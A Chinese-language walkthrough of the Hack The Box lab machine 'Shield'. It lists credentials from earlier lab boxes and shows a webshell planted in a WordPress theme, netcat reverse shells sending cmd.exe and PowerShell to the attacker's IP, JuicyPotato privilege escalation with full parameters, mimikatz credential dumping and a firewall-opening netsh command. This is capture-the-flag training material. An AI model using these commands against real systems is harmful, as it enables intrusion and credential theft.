Hackthebox-Shield
0x01 前言
根据 hackthebox 的惯性,我在这里收集了前面的所有密码:
Archetype:
Mssql:M3g4c0rp123
Administrator:MEGACORP_4dm1n!!
Oopsie
Mysql:M3g3C0rpUs3r!
ftp:mc@F1l3ZilL4
Vaccine
Zip:741852963
Web:qwerty789
postgres:P@s5w0rd!
0x02 过程
信息收集
Getshell
看到只有两个端口:80、3306,3306 我尝试了连接,发现不给外链,那入口就应该在 80 端口,打开是一个 iis 默认的页面
开 dirbuster 进行目录扫描,发现是一个 wordpress 程序:
看到是 wp 中间散发了挺多思路的,首先是使用 wpscan 进行插件、主题漏洞扫描,之后是枚举用户密码。
后来发现 wp 的版本是大于 5.0 的,很多漏洞都不能利用了,尝试密码大法最终使用 P@s5w0rd! 成功登陆了后台:
编辑主题:http://10.10.10.29/wordpress/wp-admin/theme-editor.php?file=search.php&theme=twentysixteen
修改了 search.php 的内容为我们的冰蝎 php 马:
一句话地址:http://10.10.10.29/wordpress/wp-content/themes/twentysixteen/search.php
用冰蝎命令执行没有交互式,有交互式的虚拟终端太卡了。还是上 msf 吧:
1 | msf > use exploit/unix/webapp/wp_admin_shell_upload |
使用 msf 的 shell 还是不好用,毕竟是根据 webshell 来建立连接的:
还是直接上 nc,使用刚才在冰蝎上传的 nc.exe:
execute -f nc.exe -a"-e cmd.exe 10.10.14.33 1234"
提权
win2016 以上估计也就只有烂土豆了,上传了一个,但不是 webshell 版本的,使用官方的方法,写入一个 bat 文件,内容为:
START C:\inetpub\wwwroot\wordpress\wp-content\uploads\nc.exe -e powershell.exe 10.10.14.2 1111
在反弹 shell 上面执行
echo START C:\inetpub\wwwroot\wordpress\wp-content\uploads\nc.exe -e powershell.exe 10.10.14.2 1111 > shell.bat
监听端口:
nc -lvp 1111
执行烂土豆:
JuicyPotato.exe -t * -p C:\inetpub\wwwroot\wordpress\wp-content\uploads\shell.bat -l 1337
官方说要把 JuicyPotato.exe 改名能躲过 Windows Defender 查杀,实验中不改名也可以正常使用。
后面就是获取用户的密码步骤了
上传 mimikatz
1 | ./mimikatz.exe |
获得用 Sandra 的密码, 估计这个密码在下面的靶机中也能用到
后面尝试了,为什么在 webshell 执行烂土豆的时候会失败,是因为没有加上 CLSID 参数,默认的是会出现 COM -> recv failed with error: 10038 失败的。
因为靶机是 2016 所以在 https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_Server_2016_Standard
找到 2016 的 clsid 就可以了。
0x03 总结
1、看到 80 端口必定有很大概率是从 web 入手的,一般扫一下目录就可以了。
2、这次 web 用的是 wp,一开始就先尝试密码会省下很多时间。
3、烂土豆 (JuicyPotato)
使用方法:
**(1) 查看当前用户权限,是否符合要求 **
whoami /priv
如果开启 SeImpersonate 权限,juicypotato 的参数可以使用 -t t
如果开启 SeAssignPrimaryToken 权限,juicypotato 的参数可以使用 -t u
如果均开启,可以选择 -t *
如果均未开启,那么无法提权
(2) 查看 RPC 默认端口是否为 135
如果被修改 (例如为 111),juicypotato 的参数可以使用 -n 111
如果系统禁用了 RPC,并不是一定无法提权,需要满足如下条件:
找到另一系统,能够以当前用户的权限进行远程 RPC 登录,此时 juicypotato 的参数可以使用 -k <ip>
例如 Win7、WIn8 系统,默认配置下,允许 135 端口的入站规则即可进行远程 RPC 登录
添加防火墙规则允许 135 端口入站的命令如下:
netsh advfirewall firewall add rule name="135"protocol=TCP dir=in localport=135 action=allow
也可以选择将防火墙关闭,可参考绕过 UAC 关闭防火墙的代码:
https://github.com/3gstudent/Use-COM-objects-to-bypass-UAC/blob/master/DisableFirewall.cpp
(3) 根据操作系统选择可用的 CLSID
参考列表 https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
例如测试系统 Server2012,选择 CLSID 为 {8BC3F05E-D86B-11D0-A075-00C04FB68820}
**(4) 选择一个系统未占用的端口作为监听端口 **
例如,最终参数如下:
JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}
表示开启 SeImpersonate 权限创建进程,监听端口 1111,使用的 CLSID 为 {8BC3F05E-D86B-11D0-A075-00C04FB68820}
- CLSID :https://github.com/ohpe/juicy-potato/tree/master/CLSID
- Windows 本地提权工具 Juicy-Potato 测试分析 https://3gstudent.github.io/3gstudent.github.io/Windows% E6%9C% AC% E5%9C% B0% E6%8F%90% E6%9D%83% E5% B7% A5% E5%85% B7Juicy-Potato% E6% B5%8B% E8% AF%95% E5%88%86% E6%9E%90/
- Potato 家族本地提权分析 https://www.sec-in.com/article/583
- 记一次 Windows 渗透提权历程 https://xz.aliyun.com/t/5899
- Potato 家族本地提权细节 https://xz.aliyun.com/t/7776
4、rlwrap
它是一个用于反弹 shell 的时候,我们通常按上下会出现乱码,使用这个辅助工具就可以正常使用上下减号等操作:
kali 安装:
apt install rlwarp
其他系统可以参照:https://github.com/hanslub42/rlwrap
使用方法:
rlwarp nc -lvnp 1234